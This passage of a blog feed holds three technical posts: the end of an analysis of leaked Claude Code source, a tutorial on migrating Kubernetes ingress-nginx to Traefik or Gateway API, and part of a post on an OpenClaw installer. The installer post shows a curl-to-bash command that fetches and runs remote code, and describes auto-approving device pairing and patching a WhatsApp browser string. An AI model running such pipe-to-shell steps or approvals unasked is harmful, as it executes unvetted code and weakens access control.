This pattern has spread. The [OpenAI Agents SDK](https://developers.openai.com/api/docs/guides/tools-tool-search) now has `deferLoading: true` with tool search (requires GPT-5.4+). [ZeroClaw](https://github.com/zeroclaw-labs/zeroclaw) implements nearly identical deferred loading. [CrewAI 1.10.2a1](https://github.com/crewAIInc/crewAI/pull/4779) (March 2026) added dynamic tool injection via Anthropic's tool search API.

But there's still no framework-agnostic library for this. The core is straightforward — fuzzy matching over tool descriptions, schema injection on demand, MCP compatibility. If someone built this as a standalone package, it'd be useful immediately.

![](/img/blog/claude-code-leak-what-the-source-actually-teaches/0fde2eb1-f66e-48a9-acce-646add485209.png align="center")

* * *

## Default-Deny Permissions With a Graceful Fallback

Claude Code's permission system is built on default-deny. Every tool has two permission-relevant properties defined in `Tool.ts`:

*   `isReadOnly` — defaults to `false` (assume the tool writes)
    
*   `isDestructive` — defaults to `false`
    

Tools must explicitly declare their risk profile. The permission system then layers rule-based checks (`alwaysAllow`/`alwaysDeny` rules), pre-tool-use hooks (which can modify input, block execution, or log), and an auto-mode safety classifier.

The part I found most interesting is the denial tracking in `denialTracking.ts` — just 46 lines:

```plaintext
3 consecutive denials → shouldFallbackToPrompting() returns true
20 total denials in a session → same result
```

If the user keeps saying "no," the system stops running in auto-mode and starts asking for explicit permission on every action. Most agent frameworks either keep retrying or hard-stop. Claude Code's approach gracefully degrades: "You're uncomfortable with what I'm doing, so I'll check before each step."

Small file, big principle.

![](/img/blog/claude-code-leak-what-the-source-actually-teaches/69f00384-911e-4f22-b886-a52b934bc576.png align="center")

* * *

## The Cost Engineering

These are the details that only matter at Anthropic's scale, but they're instructive:

**Sticky-on latches.** When a feature flag activates during a session, it stays on for the rest of that session. Flipping it back would change the system prompt, which busts the prompt cache. The `promptCacheBreakDetection.ts` file tracks 14 distinct state fields that can invalidate the cache — system prompt hash, tool schema hashes, model changes, beta headers, effort values, and more. Sticky latches prevent unnecessary cache invalidation from mode toggles.

**Tool result persistence.** Large outputs get written to disk; the model sees a preview. This isn't just context management — it keeps the cache prefix stable.

**Schema stability.** Tool schemas assembled once at session start, held stable throughout. MCP tools can come and go, but the core schema block doesn't change.

At scale, these optimizations compound significantly.

* * *

## What I Actually Took Away From This

I'm not going to pretend the leak is a startup idea list or that I discovered things nobody else saw. But analyzing the code did crystallize a few things:

**Context management is harder than it looks.** Five strategies, two still behind feature flags, a dedicated `promptCacheBreakDetection.ts` tracking 14 vectors. This is not a solved problem, even for Anthropic.

**Deferred tool loading is becoming table stakes.** Claude Code, OpenAI, ZeroClaw, CrewAI — multiple teams independently arrived at the same pattern. If you're building an agent with more than ~20 tools and you're not doing this, you're wasting tokens.

**Permission design matters more than permission features.** The denial tracking system is 46 lines. The principle it encodes — "degrade gracefully when the user loses trust" — is more important than any specific implementation detail.

**The real work is in the orchestration.** The model call is one stage out of seven in the main loop. Everything else — state management, compaction, tool loading, permissions, cost optimization — is where the engineering actually lives.

* * *

## Being Honest About the Process

Every blog you've read about this leak was written with AI assistance. This one included. I used Claude to analyze the source modules, identify patterns, and draft the initial structure. I then fact-checked every claim — cross-referencing the actual source code, public documentation, news coverage, and other technical analyses. Where I found errors in my initial draft (and there were several), I corrected them.

The value isn't in pretending I manually read half a million lines of code. It's in doing the verification work to make sure what I'm telling you is actually true. In a sea of AI-generated analysis of AI-generated code, accuracy is the differentiator.

If you spot something wrong, tell me — I'd rather correct it than let it stand.

*I write about cloud-native, AI engineering, and the infrastructure that makes modern software work. Find me on* [*Twitter*](https://twitter.com/SaiyamPathak) *or* [*LinkedIn*](https://linkedin.com/in/saiyampathak)*.*

---

# The Ingress NGINX Migration Just Got Easier: 119 Annotations, 3 Targets, Impact Ratings

- Canonical: https://blog.kubesimplify.com/ing-switch-119-annotations-gateway-api-traefik-impact-ratings
- Published: 2026-03-30
- Summary: \"Ingress NGINX was archived March 24, 2026. ing-switch maps all 119 NGINX annotations with

A few months ago, I built [ing-switch](https://github.com/saiyam1814/ing-switch) and [wrote about it on kubesimplify](https://blog.kubesimplify.com/ing-switch-migrate-from-ingress-nginx-to-traefik-or-gateway-api-in-minutes-not-days). The response was incredible -- people loved the annotation mapping and the visual dashboard.

Since then, **ingress-nginx was officially archived** (March 24, 2026). March 31 is end of life -- zero security patches after that date.

Based on community feedback from KubeCon, this is the biggest update yet: **119 annotations** (up from 50), **Gateway API with Traefik as the provider** (the #1 request), and **impact ratings** on every annotation so you know exactly what matters.

This post walks through a **complete end-to-end migration** on a [vind](https://github.com/loft-sh/vind) cluster with actual command outputs.

## Why You Need to Migrate Now

*   **Nov 11, 2025:** Kubernetes SIG Network announces ingress-nginx retirement
    
*   **Jan 29, 2026:** Joint statement from Kubernetes Steering + Security Response Committees urging immediate migration
    
*   **Mar 24, 2026:** GitHub repository archived (read-only)
    
*   **Mar 31, 2026:** End of life -- zero support from this date
    

Chainguard maintains a fork for CVE-level fixes only -- no features, no community PRs, no pre-built images. You're on your own.

## The Three Migration Paths

![](/img/blog/ing-switch-119-annotations-gateway-api-traefik-impact-ratings/eeadef24-e6cd-455a-847c-34fedd6cd96e.png align="center")

| Target | Best For | What Changes |
| --- | --- | --- |
| **Traefik v3** | Fastest migration, lowest friction | Keep Ingress API, swap annotations to Middleware CRDs |
| **Gateway API (Envoy)** | Future-proof standard | Replace Ingresses with HTTPRoutes, Envoy policies |
| **Gateway API (Traefik)** | Rancher / k3s users | Standard HTTPRoutes + Gateway resources, with Traefik as the controller implementation. Advanced features (rate limiting, auth, IP filtering) use Traefik Middleware CRDs as extension policies. |

## The Annotation Problem

The real complexity isn't swapping controllers -- it's the **annotations**. A typical production Ingress has 10-15 NGINX annotations for SSL, auth, rate limiting, CORS, session affinity, and more.

ing-switch maps **119 annotations** with impact ratings:

|  | Traefik | Gateway API |
| --- | --- | --- |
| Supported (direct equivalent) | 35 | 39 |
| Partial (needs minor adjustment) | 48 | 25 |
| Unsupported (with impact notes) | 42 | 62 |

Every unsupported annotation gets an **impact rating**: `NONE` (safe to ignore), `LOW` (better defaults), `MEDIUM` (needs workaround), or `VARIES` (review your snippets). Most teams discover **70%+ of "unsupported" annotations are safe to ignore**.

## End-to-End Demo: vCluster + ing-switch

[![asciicast](https://asciinema.org/a/nOYDQukAC4bzdSVI.svg align="center")](https://asciinema.org/a/nOYDQukAC4bzdSVI)

Let's walk through a complete migration on a real cluster. We'll use [vCluster](https://www.vcluster.com/) to spin up a Kubernetes cluster in Docker, deploy 3 services with NGINX annotations, and migrate them to Gateway API with Traefik.

### Step 1: Create a Cluster

```bash
vcluster create demo --driver docker
```

Output:

```text
info  Using vCluster driver 'docker' to create your virtual clusters
info  Ensuring environment for vCluster demo...
done  Created network vcluster.demo
info  Starting vCluster standalone demo
done  Successfully created virtual cluster demo
info  Waiting for vCluster to become ready...
done  vCluster is ready
done  Switched active kube context to vcluster-docker_demo
```

Verify:

```bash
kubectl get namespaces
```

```text
NAME                 STATUS   AGE
default              Active   16s
kube-flannel         Active   6s
kube-node-lease      Active   16s
kube-public          Active   16s
kube-system          Active   16s
local-path-storage   Active   6s
```

### Step 2: Install Ingress NGINX

```bash
helm repo add ingress-nginx https://kubernetes.github.io/ingress-nginx
helm install ingress-nginx ingress-nginx/ingress-nginx \
  --namespace ingress-nginx \
  --create-namespace \
  --set controller.service.type=ClusterIP \
  --set controller.admissionWebhooks.enabled=false \
  --wait --timeout 120s
```

```text
NAME: ingress-nginx
LAST DEPLOYED: Sun Mar 29 11:15:57 2026
NAMESPACE: ingress-nginx
STATUS: deployed
```

```bash
kubectl get pods -n ingress-nginx
```

```text
NAME                                        READY   STATUS    RESTARTS   AGE
ingress-nginx-controller-5486dbd97f-vc9wv   1/1     Running   0          54s
```

### Step 3: Deploy 3 Apps with NGINX Annotations

We deploy three services, each with different annotation patterns:

**App 1 -- Basic web app** (SSL redirect + timeouts):

```yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: web-app
  namespace: demo
  annotations:
    nginx.ingress.kubernetes.io/ssl-redirect: "true"
    nginx.ingress.kubernetes.io/proxy-read-timeout: "60"
    nginx.ingress.kubernetes.io/proxy-connect-timeout: "10"
spec:
  ingressClassName: nginx
  rules:
  - host: web.example.com
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: web-app
            port:
              number: 80
```

**App 2 -- API with CORS + rate limiting** (10 annotations):

```yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: api-cors
  namespace: demo
  annotations:
    nginx.ingress.kubernetes.io/force-ssl-redirect: "true"
    nginx.ingress.kubernetes.io/enable-cors: "true"
    nginx.ingress.kubernetes.io/cors-allow-origin: "https://app.example.com,https://admin.example.com"
    nginx.ingress.kubernetes.io/cors-allow-methods: "GET, POST, PUT, DELETE, OPTIONS"
    nginx.ingress.kubernetes.io/cors-allow-headers: "Content-Type, Authorization, X-API-Key"
    nginx.ingress.kubernetes.io/cors-allow-credentials: "true"
    nginx.ingress.kubernetes.io/cors-max-age: "86400"
    nginx.ingress.kubernetes.io/limit-rps: "50"
    nginx.ingress.kubernetes.io/limit-burst-multiplier: "3"
    nginx.ingress.kubernetes.io/proxy-body-size: "5m"
spec:
  ingressClassName: nginx
  rules:
  - host: api.example.com
    http:
      paths:
      - path: /v1
        pathType: Prefix
        backend:
          service:
            name: api-service
            port:
              number: 80
```

**App 3 -- Auth-protected dashboard** (external auth + IP allowlist + session affinity):

```yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: dashboard
  namespace: demo
  annotations:
    nginx.ingress.kubernetes.io/ssl-redirect: "true"
    nginx.ingress.kubernetes.io/auth-url: "https://auth.example.com/verify"
    nginx.ingress.kubernetes.io/auth-response-headers: "X-User-ID,X-User-Email"
    nginx.ingress.kubernetes.io/whitelist-source-range: "10.0.0.0/8,172.16.0.0/12"
    nginx.ingress.kubernetes.io/affinity: "cookie"
    nginx.ingress.kubernetes.io/session-cookie-name: "dashboard-session"
    nginx.ingress.kubernetes.io/session-cookie-max-age: "3600"
spec:
  ingressClassName: nginx
  rules:
  - host: dashboard.example.com
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: dashboard
            port:
              number: 80
```

After applying all three:

```bash
kubectl get ingress -n demo
```

```text
NAME        CLASS   HOSTS                   ADDRESS   PORTS   AGE
api-cors    nginx   api.example.com                   80      5s
dashboard   nginx   dashboard.example.com             80      5s
web-app     nginx   web.example.com                   80      5s
```

```bash
kubectl get pods -n demo
```

```text
NAME                           READY   STATUS    RESTARTS   AGE
api-service-5f99b6d99d-x7vmn   1/1     Running   0          24s
dashboard-9ddbf867-7dbgf       1/1     Running   0          24s
web-app-969c76b7c-7wqw5        1/1     Running   0          24s
```

3 ingresses, 20 NGINX annotations, 3 services running. Now let's see what ing-switch makes of this.

### Step 4: Scan the Cluster

```bash
ing-switch scan
```

```text
  ing-switch -- Cluster Scan Results
  Cluster: vcluster-docker_demo

  Ingress Controller Detected
  Type:      ingress-nginx
  Version:   unknown
  Namespace: ingress-nginx

  Found 3 Ingress resource(s)

  NAMESPACE   NAME        HOSTS                   ANNOTATIONS   TLS   COMPLEXITY
  ---------   ----        -----                   -----------   ---   ----------
  demo        api-cors    api.example.com         10            no    unsupported
  demo        dashboard   dashboard.example.com   7             no    complex
  demo        web-app     web.example.com         3             no    complex
```

ing-switch detected the NGINX controller and found all 3 ingresses with their annotation counts and complexity scores.

### Step 5: Analyze Compatibility

Let's compare all three targets:

**Traefik v3:**

```bash
ing-switch analyze --target traefik
```

```text
  Summary
  -------
  Total ingresses:      3
  Fully compatible:     1
  Needs workarounds:    2
  Has unsupported:      0
```

**Gateway API (Envoy):**

```bash
ing-switch analyze --target gateway-api
```

```text
  Summary
  -------
  Total ingresses:      3
  Fully compatible:     0
  Needs workarounds:    3
  Has unsupported:      0
```

**Gateway API (Traefik):**

```bash
ing-switch analyze --target gateway-api-traefik
```

```text
  Summary
  -------
  Total ingresses:      3
  Fully compatible:     0
  Needs workarounds:    3
  Has unsupported:      0
```

Key insight: **Traefik is the highest-compatibility target** for this workload (1 fully compatible out of 3). The CORS annotations map directly to Traefik's Headers middleware. For Gateway API, CORS is now also fully supported thanks to the native CORS filter in Gateway API v1.5.

Here's the detailed annotation mapping for the API with CORS:

```text
  demo/api-cors
  -------------
  ANNOTATION               STATUS        TARGET RESOURCE                    NOTES
  enable-cors              [supported]   HTTPRoute (CORS filter)            Native CORS filter (GA in Gateway API v1.5)
  cors-allow-origin        [supported]   HTTPRoute (CORS filter)            allowOrigins in CORS filter
  cors-allow-methods       [supported]   HTTPRoute (CORS filter)            allowMethods in CORS filter
  cors-allow-headers       [supported]   HTTPRoute (CORS filter)            allowHeaders in CORS filter
  cors-allow-credentials   [supported]   HTTPRoute (CORS filter)            allowCredentials in CORS filter
  cors-max-age             [supported]   HTTPRoute (CORS filter)            maxAge in CORS filter
  force-ssl-redirect       [supported]   HTTPRoute (RequestRedirect filter) 301 redirect to HTTPS
  limit-rps                [partial]     BackendTrafficPolicy (RateLimit)   Envoy Gateway BackendTrafficPolicy
  limit-burst-multiplier   [partial]     BackendTrafficPolicy (RateLimit)   Burst configurable but uses tokens
  proxy-body-size          [partial]     BackendTrafficPolicy               requestBuffer.limit
```

7 out of 10 annotations are fully supported. The 3 "partial" ones work -- they just use a slightly different API.

### Step 6: Generate Migration Files

```bash
ing-switch migrate --target gateway-api-traefik --output-dir ./migration
```

```text
  ing-switch -- Generating Migration Files
  Target:     gateway-api-traefik
  Output dir: ./migration

  + 00-migration-report.md
  + 01-install-gateway-api-crds/install.sh
  + 02-install-traefik-gateway/helm-install.sh
  + 02-install-traefik-gateway/values.yaml
  + 03-gateway/gatewayclass.yaml
  + 03-gateway/gateway.yaml
  + 04-httproutes/demo-api-cors.yaml
  + 04-httproutes/demo-dashboard.yaml
  + 04-httproutes/demo-web-app.yaml
  + 05-policies/demo-api-cors-ratelimit.yaml
  + 05-policies/demo-dashboard-forwardauth.yaml
  + 05-policies/demo-dashboard-ipallowlist.yaml
  + 06-verify.sh
  + 07-cleanup/remove-nginx.sh
  Generated 13 files in ./migration/
```

### Step 7: Inspect the Generated YAML

**GatewayClass -- points to Traefik, not Envoy:**

```yaml
apiVersion: gateway.networking.k8s.io/v1
kind: GatewayClass
metadata:
  name: traefik
spec:
  controllerName: traefik.io/gateway-controller
```

**HTTPRoute with native CORS filter** (no more ResponseHeaderModifier hacks):

```yaml
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: api-cors
  namespace: demo
spec:
  parentRefs:
  - name: ing-switch-gateway
    namespace: default
  hostnames:
  - "api.example.com"
  rules:
  - matches:
    - path:
        type: PathPrefix
        value: "/v1"
    filters:
    - type: CORS
      cors:
        allowOrigins:
        - type: Exact
          value: "https://app.example.com"
        - type: Exact
          value: "https://admin.example.com"
        allowMethods:
        - "GET"
        - "POST"
        - "PUT"
        - "DELETE"
        - "OPTIONS"
        allowHeaders:
        - "Content-Type"
        - "Authorization"
        - "X-API-Key"
        allowCredentials: true
        maxAge: "86400s"
    backendRefs:
    - name: api-service
      port: 80
```

**Traefik Middleware CRDs** (not Envoy-specific policies):

```yaml
# Rate Limiting
apiVersion: traefik.io/v1alpha1
kind: Middleware
metadata:
  name: demo-api-cors-ratelimit
  namespace: demo
spec:
  rateLimit:
    average: 50
    burst: 3
```

```yaml
# ForwardAuth (external authentication)
apiVersion: traefik.io/v1alpha1
kind: Middleware
metadata:
  name: demo-dashboard-forwardauth
  namespace: demo
spec:
  forwardAuth:
    address: "https://auth.example.com/verify"
  authResponseHeaders:
    - "X-User-ID"
    - "X-User-Email"
```

```yaml
# IP AllowList
apiVersion: traefik.io/v1alpha1
kind: Middleware
metadata:
  name: demo-dashboard-ipallowlist
  namespace: demo
spec:
  ipAllowList:
    sourceRange:
    - "10.0.0.0/8"
    - "172.16.0.0/12"
```

### Step 8: Review the Migration Report

The `migrate` command automatically generates `00-migration-report.md` in the output directory. Open it to see the full summary:

```bash
cat ./migration/00-migration-report.md
```

```markdown
# ing-switch Migration Report
**Target Controller:** gateway-api-traefik

## Summary
| Metric | Count |
|--------|-------|
| Total Ingresses | 3 |
| Fully Compatible | 0 |
| Needs Workarounds | 3 |
| Has Unsupported Annotations | 0 |

## demo/api-cors -- Needs workaround
| Annotation | Status | Target Resource | Notes |
|-----------|--------|-----------------|-------|
| enable-cors | OK | HTTPRoute (CORS filter) | Native CORS filter (GA in v1.5) |
| cors-allow-origin | OK | HTTPRoute (CORS filter) | allowOrigins in CORS filter |
| limit-rps | WARN | BackendTrafficPolicy | Envoy Gateway BackendTrafficPolicy |
...
```

### Step 9: Apply (Dry-Run First)

![](/img/blog/ing-switch-119-annotations-gateway-api-traefik-impact-ratings/b4c92aec-3c11-41e4-84da-bce1b3891573.png align="center")

```bash
# Install Gateway API CRDs
bash ./migration/01-install-gateway-api-crds/install.sh

# Install Traefik with Gateway API provider
bash ./migration/02-install-traefik-gateway/helm-install.sh

# Dry-run all resources first
kubectl apply -f ./migration/03-gateway/ --dry-run=server
kubectl apply -f ./migration/04-httproutes/ --dry-run=server

# If dry-run passes, apply for real
kubectl apply -f ./migration/03-gateway/
kubectl apply -f ./migration/04-httproutes/
kubectl apply -f ./migration/05-policies/
```

At this point, **both NGINX and Traefik are running side by side**. DNS still points to NGINX. Production traffic is untouched.

### Step 10: Verify and Cutover

```bash
# Run the generated verification script
bash ./migration/06-verify.sh

# Once verified, update DNS to Traefik's IP
# Then clean up NGINX
bash ./migration/07-cleanup/remove-nginx.sh
```

### Step 11: Use the Web UI

For teams that prefer a visual workflow:

```bash
ing-switch ui
# Opens http://localhost:8080
```

The dashboard provides four pages:

**Detect** -- Scan your cluster and see all ingresses with annotation counts and complexity:

![](/img/blog/ing-switch-119-annotations-gateway-api-traefik-impact-ratings/609e59ce-ab2a-40ac-8aa9-a864ad9be8e6.png align="center")

**Analyze** -- Choose between 3 targets and see the full annotation compatibility matrix:

![](/img/blog/ing-switch-119-annotations-gateway-api-traefik-impact-ratings/c6fa8d3a-1723-4e8f-bf54-f32d823ccf91.png align="center")

**Migrate** -- One-click generation with step-by-step checklist and dry-run buttons:

![](/img/blog/ing-switch-119-annotations-gateway-api-traefik-impact-ratings/344c9635-82e2-430e-aee4-7d1595bf96a7.png align="center")

View all generated files inline with syntax highlighting:

![](/img/blog/ing-switch-119-annotations-gateway-api-traefik-impact-ratings/0b3a75b4-5b82-4d70-b340-7cf0ba784f63.png align="center")

See migration gaps with impact ratings and fix instructions:

![](/img/blog/ing-switch-119-annotations-gateway-api-traefik-impact-ratings/4b9e6053-3d6e-42ba-896a-44b3727e8349.png align="center")

**Validate** -- Run live cluster checks to confirm your migration phase:

![](/img/blog/ing-switch-119-annotations-gateway-api-traefik-impact-ratings/f64e5599-45ac-490a-a6fd-757f9fda13ad.png align="center")

### Cleanup

```bash
vcluster delete demo --driver docker
```

```plaintext
done  Successfully deleted virtual cluster demo
```

## What Makes ing-switch Different

| Feature | ing-switch | ingress2gateway | Manual |
| --- | --- | --- | --- |
| Annotation coverage | 119 | 30+ | You count |
| Traefik Ingress target | Yes | No | \-- |
| Gateway API (Traefik) | Yes | No | \-- |
| Gateway API (Envoy) | Yes | Yes | \-- |
| Impact ratings | Yes | No | No |
| Web UI | Yes | No | No |
| Install scripts | Yes | No | No |
| Verification scripts | Yes | No | No |
| DNS migration guide | Yes | No | No |
| Dry-run mode | Yes | No | \-- |

## The Ecosystem Is Ready

*   **Gateway API v1.5** -- CORS filter, TLSRoute, BackendTLSPolicy all GA
    
*   **ingress2gateway v1.0** -- Official tool with emitter architecture
    
*   **Traefik v3.7** -- Native NGINX annotation provider (80+ annotations)
    
*   **Envoy Gateway v1.7** -- XListenerSet, enhanced policies
    
*   **cert-manager v1.20** -- Gateway API ListenerSet support
    
*   **Kubernetes 1.36** -- Ships April 22, first release post-NGINX archival
    

The tools exist. The standards are stable. The only thing left is to actually run the migration.

* * *

**Star it, fork it, migrate today:** [github.com/saiyam1814/ing-switch](https://github.com/saiyam1814/ing-switch)

*ing-switch is open source under the MIT license. PRs welcome.*

---

# clawspark: Your Private OpenClaw AI Assistant That Never Phones Home

- Canonical: https://blog.kubesimplify.com/clawspark-your-private-openclaw-ai-assistant-that-never-phones-home
- Published: 2026-03-15
- Summary: Clawspark provides a way to Install openclaw on your device in a secure way with a single command. 

*By Saiyam Pathak*

* * *

OpenClaw has 314,000+ GitHub stars. It is the most popular open-source AI agent out there. It connects to WhatsApp and Telegram, does deep research, manages files, writes code, handles voice notes, and genuinely works as a personal assistant. The catch is that setting it up with a local LLM on NVIDIA hardware is a long process with security in place.

I spent some time getting it right on a DGX Spark. Then I automated the entire thing into one command. Along the way I found nine bugs, wrote three source patches, fought Ubuntu's managed Python, debugged WhatsApp's device linking protocol, and integrated a hardware-aware model selection engine. This is the full story.

## The Problem

NVIDIA's DGX Spark is a desktop AI supercomputer. GB10 Grace Blackwell chip, 128GB unified memory, 1 PFLOP of AI compute, 20-core ARM Cortex-A725 CPU. It sits on your desk, runs quietly, and has enough memory to load models that actually compete with cloud APIs. The hardware is not the bottleneck anymore.

The bottleneck is setup. If you want to run OpenClaw with a local model on DGX Spark, here is what you need to do manually:

1.  Install Node.js 22+
    
2.  Install OpenClaw via npm
    
3.  Install Ollama
    
4.  Figure out which model fits your hardware (there are hundreds)
    
5.  Pull the model (can be 20-80GB)
    
6.  Configure OpenClaw to point at your local Ollama instance
    
7.  Set the correct environment variables (OLLAMA\_API\_KEY, OLLAMA\_BASE\_URL)
    
8.  Run onboard, which sets half your config to wrong defaults
    
9.  Fix tools.profile from "messaging" to "full"
    
10.  Start the gateway, then start a separate Node Host process
     
11.  Pair the Node Host to the gateway
     
12.  Link WhatsApp via QR code
     
13.  Patch three different JavaScript files in OpenClaw's dist folder
     
14.  Install skills
     
15.  Harden security
     
16.  Set up voice transcription
     

Miss one step and things fail silently. The gateway starts, the model loads, but your agent can only send text messages because it has 5 tools instead of 15. Or WhatsApp linking fails because the browser identification string gets rejected. Or group messages never arrive because history sync is disabled.

NVIDIA's own docs at build.nvidia.com recommend gpt-oss-120b for DGX Spark and describe a manual multi-step process using Ollama or LM Studio. Their guide covers the inference setup but not WhatsApp integration, not voice transcription, not security hardening, and not the Node Host that the agent actually needs to do useful work. clawspark automates all of this, including the parts NVIDIA's guide does not cover.

## What clawspark Does

One command:

```bash
curl -fsSL https://clawspark.dev/install.sh | bash
```

That is it. The installer runs 14 steps. It detects your hardware, recommends a model, asks a few questions, then installs and configures everything. Here is the full flow:

**Step 1-2: Hardware detection.** The script probes your GPU via nvidia-smi, reads DMI product name for DGX Spark identification, checks for Tegra signatures on Jetson, and measures total system memory. It classifies your hardware into one of four tiers: DGX Spark (128GB unified), Jetson AGX (64GB), RTX high-end (24GB+ VRAM), or RTX standard (8-24GB).

![](/img/blog/clawspark-your-private-openclaw-ai-assistant-that-never-phones-home/e77d09be-44ed-4a07-9856-f6a8798020e3.jpg align="center")

**Step 3: Model selection.** This is where it gets interesting. For DGX Spark, I curated a list of 5 models ranked by [llmfit](https://github.com/AlexsJones/llmfit) score and verified on real hardware:

| Model | Size | Estimated tok/s | llmfit Score | Use Case |
| --- | --- | --- | --- | --- |
| qwen3.5:35b-a3b (default) | 18 GB | ~59 (measured) | 91.8 | General purpose |
| qwen3.5:122b-a10b | 33 GB | ~45 | 95.5 | Best quality MoE |
| qwen3-coder-next | 52 GB | ~109 | 93.6 | Coding/agentic |
| qwen3-next | 50 GB | ~59 | 92.2 | Chat/instruct |
| qwen3-coder:30b | 19 GB | ~58 | 94.1 | Coding lightweight |

![](/img/blog/clawspark-your-private-openclaw-ai-assistant-that-never-phones-home/81931dba-337d-49ee-9b44-5548d4b2878b.jpg align="center")

For non-DGX-Spark hardware (RTX, Jetson, anything else), the installer uses llmfit to analyze your specific hardware, score hundreds of models, map the results to Ollama model IDs, verify each candidate actually exists on the Ollama library, and present the top 5 that fit. No hardcoded lists. Your GPU, your recommendations.

**Step 4-5: Deployment and messaging.** Choose local-only or hybrid (cloud fallback). Choose WhatsApp, Telegram, both, or skip messaging entirely. The web UI at `/__openclaw__/canvas/` always works regardless.

![](/img/blog/clawspark-your-private-openclaw-ai-assistant-that-never-phones-home/a20d26e8-5507-47a6-ad86-57907be5f1c5.jpg align="center")

**Step 6-14: The actual installation.** Ollama install and model pull. Node.js 22 if needed. OpenClaw npm install. Config generation with correct Ollama endpoints. Onboard with overrides for all the wrong defaults. Three source patches (more on these below). Skills installation. Whisper voice setup. WhatsApp QR linking. Optional Tailscale for remote access. ClawMetry dashboard. Security hardening. Final verification.

![](/img/blog/clawspark-your-private-openclaw-ai-assistant-that-never-phones-home/0b947b8a-fcac-424e-ba52-80b87f58a13d.jpg align="center")

After installation, you get the `clawspark` CLI tool for day-to-day management: `clawspark status`, `clawspark benchmark`, `clawspark restart`, `clawspark skills sync`, `clawspark airgap on/off`, and more.

![](/img/blog/clawspark-your-private-openclaw-ai-assistant-that-never-phones-home/283cd367-ff8f-4357-a604-88bc1c315ffd.jpg align="center")

![](/img/blog/clawspark-your-private-openclaw-ai-assistant-that-never-phones-home/ea479d57-267c-4d78-ab36-cea2e3e9ebec.jpg align="center")

## The Architecture

Here is how the pieces fit together once everything is running:

```plaintext
WhatsApp / Telegram / Web UI (Canvas)
              |
    OpenClaw Gateway (port 18789)
     |            |            |
   Agent      Node Host     Baileys
   (LLM)      (Tools)      (WhatsApp Web)
     |            |
   Ollama      15 tools:
  (port 11434)  exec, read, write, edit,
     |          web_fetch, message, canvas,
   Model        process, cron, nodes,
   (GPU)        sessions_spawn, vision,
                transcribe, memory_search,
                memory_store
```

The Gateway is the central process. It manages the agent, routes messages from WhatsApp/Telegram/Web, and coordinates tool calls. The Agent is the LLM reasoning loop that decides what to do. The Node Host is a separate process that provides the actual tool implementations -- reading files, fetching web pages, executing code. Without the Node Host, the agent has only 5 basic messaging tools instead of the full 15.

Baileys is the WhatsApp Web client library that OpenClaw uses under the hood. It connects to WhatsApp's servers using a linked device session, the same way WhatsApp Web works in your browser. Messages flow from WhatsApp through Baileys to the Gateway, which sends them to the Agent, which calls tools on the Node Host, and the response flows back the same way.

## **The Bugs I Found and Fixed**

This section is the reason I wrote this post. These are all real issues I hit on real hardware, and some of them took hours to diagnose. If you are setting up OpenClaw manually, this list might save you a lot of time.

### **1\. tools.profile does not default to "full"**

When you run `openclaw onboard`, it does not set `tools.profile` to "full". In v2026.3.2 it defaulted to "messaging" (5 tools only). This was partially fixed in v2026.3.7, which changed the default to "coding" -- better, but still missing tools like exec, process, cron, and nodes. The agent looks like it is working, but it cannot do everything it should.

The fix: `openclaw config set tools.profile full` after onboard completes. clawspark does this automatically.

### **2\. Node Host is required but not documented**

The Gateway alone does not provide execution tools. You need a separate "Node Host" process (`openclaw node run`) that connects to the Gateway and provides filesystem, browser, and execution capabilities. Without it, even with `tools.profile full`, the agent has no tools to call. The Node Host also needs to be paired with the Gateway (device approval), which is another step that is easy to miss.

clawspark starts the Node Host, detects pending pairing requests, auto-approves them, and restarts the Node Host with the pairing token.

### **3\. Baileys browser string rejected by WhatsApp**

OpenClaw's WhatsApp integration uses Baileys, which identifies itself as `["openclaw", "cli", VERSION]` to WhatsApp's servers. WhatsApp rejects this during device linking. The QR code scan works, but the connection fails silently.

The fix is a source patch: replace the browser identification with `["Ubuntu", "Chrome", "22.0"]`, which WhatsApp accepts. This requires patching the compiled JavaScript in OpenClaw's dist folder. clawspark finds the relevant session files and applies the patch automatically.

### **4\. web\_search requires a Brave API key**

OpenClaw's built-in web\_search tool requires a Brave Search API key. For a local setup, requiring an external API key defeats the purpose. clawspark works around this by configuring the agent's [TOOLS.md](http://TOOLS.md) to use DuckDuckGo Lite via web\_fetch instead:

```plaintext
web_fetch with url="https://lite.duckduckgo.com/lite/?q=YOUR+QUERY"
```

This gives the agent web search capabilities without any API keys or external dependencies.

### **5\. Agent narrates tool usage on WhatsApp**

When you ask the agent a question on WhatsApp, it sends messages like "Let me search for that..." and "The search returned these results..." before giving you the actual answer. On WhatsApp, this means three or four notification buzzes for one question.

The fix is [SOUL.md](http://SOUL.md) rules: explicit instructions to never narrate tool usage, use tools silently, and respond with one clean message.

### **6\. syncFullHistory breaks group messages**

OpenClaw defaults to `syncFullHistory: false` in its Baileys configuration. This means after a fresh WhatsApp link, Baileys never receives group sender keys. The result: groups are completely silent. No messages arrive, no errors are logged. It just looks like nobody is talking.

The fix: patch `syncFullHistory: false` to `syncFullHistory: true` in the compiled session files. clawspark finds and patches all relevant files automatically.

### **7\. Mention detection has an early return that blocks text @mentions**

OpenClaw's mention detection in group chats has a `return false` early exit when JID (WhatsApp ID) mentions exist but do not match the bot's JID. The problem is that WhatsApp resolves @mentions to JIDs, and sometimes the resolved JID does not match the bot's linked phone JID. The early return prevents the text-pattern fallback from ever running, so typing @botname in a group never triggers the bot.

The fix: remove the `return false` line so the text-pattern fallback always has a chance to match. Another source patch to the compiled JavaScript.

### **8\. Systemd service missing Ollama environment variables**

When OpenClaw's gateway runs as a systemd service, it does not inherit the shell environment. The OLLAMA\_API\_KEY and OLLAMA\_BASE\_URL variables are missing, so the gateway cannot reach Ollama. The model appears to load, but every inference call fails.

clawspark writes the environment variables to a gateway.env file, adds them to the user's shell profile (.bashrc or .zshrc), and sources them before starting any OpenClaw process.

### **9\. OpenClaw bindings schema changed between versions**

This one cost me an entire evening. Earlier versions of OpenClaw supported a `bindings` config for routing different message sources to different agents (e.g., full tools in DMs, restricted tools in groups). Starting with v2026.3.2, the bindings schema changed and the old format causes a validation error at startup: `Invalid config: bindings.0: Invalid input`. This is not a bug per se -- the schema evolved -- but any guide or config from earlier versions will break silently.

